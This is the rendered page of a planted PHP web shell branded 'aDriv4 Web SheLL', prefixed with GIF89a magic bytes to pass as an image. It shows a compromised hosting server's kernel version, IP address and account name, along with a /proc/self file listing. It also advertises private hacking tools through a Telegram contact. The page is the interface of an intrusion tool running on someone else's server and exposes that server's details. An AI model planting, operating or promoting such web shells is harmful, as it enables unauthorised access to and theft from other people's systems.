GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server184.web-hosting.com 4.18.0-553.5.1.lve.1.el8.x86_64 #1 SMP Fri Jun 14 15:38:45 UTC 2024 x86_64
 LiteSpeed
 198.54.114.129

Name Type Size Owner/Group Permission Last Modified Actions
. dir - jrsdomnz/jrsdomnz 0555 2026-01-18 01:22:54
.. dir - jrsdomnz/jrsdomnz 0555 2026-01-18 01:22:54
attr dir - jrsdomnz/jrsdomnz 0555 2026-01-18 01:24:52
cwd link - jrsdomnz/jrsdomnz 0555 2026-01-18 01:22:54
fd dir - jrsdomnz/jrsdomnz 0500 2026-01-18 01:24:52
fdinfo dir - jrsdomnz/jrsdomnz 0500 2026-01-18 01:24:52
net dir - jrsdomnz/jrsdomnz 0555 2026-01-18 01:24:52
ns dir - jrsdomnz/jrsdomnz 0511 2026-01-18 01:24:52
root link - root/root 0755 2025-08-05 08:05:44
auxv application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
cgroup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:22:54
children application/x-empty 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
clear_refs 0 B jrsdomnz/jrsdomnz 0200 2026-01-18 01:24:52
cmdline application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:22:54
comm text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
cpu_resctrl_groups text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
cpuset application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
environ application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
exe application/x-executable 6.11 MB root/linksafe 0755 2025-09-30 04:05:21
gid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
io text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
limits text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
loginuid text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
mem 0 B jrsdomnz/jrsdomnz 0600 2026-01-18 01:24:52
mountinfo text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
mounts text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
numa_maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
oom_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
oom_score text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
oom_score_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
pagemap application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
patch_state text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
personality text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
projid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
sched text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
schedstat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
sessionid text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
setgroups text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
smaps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
smaps_rollup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
stack 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
stat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:22:54
statm text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:22:54
status text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:22:54
syscall text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-18 01:24:52
uid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-18 01:24:52
wchan application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-18 01:24:52
© aDriv4